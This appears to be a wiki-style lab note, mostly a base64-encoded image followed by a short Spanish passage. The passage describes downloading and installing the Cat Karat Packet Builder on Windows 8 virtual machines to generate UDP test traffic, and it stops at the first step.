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
El proceso siguiente se hizo en máquinas virtuales Windows 8 instaladas previamente tanto en red izquierda como en red derecha. Para hacer el proceso de instalación primeramente se accedió a la pagina de [[Cat Karat Packet Builder|https://sites.google.com/site/catkaratpacketbuilder/documents]]. Se descargó el archivo comprimido que se encuentra en la sección de descargas. Se descomprimió el archivo y se procedió a ejecutar el instalador resultante de esta operación. Para instalarse, se dejaron las configuraciones por defecto que iban apareciendo en el instalador mismo( .exe). Se genera trafico con protocolo UDP de la siguiente manera: 1.- Se escoge una interfaz de red a utilizar. 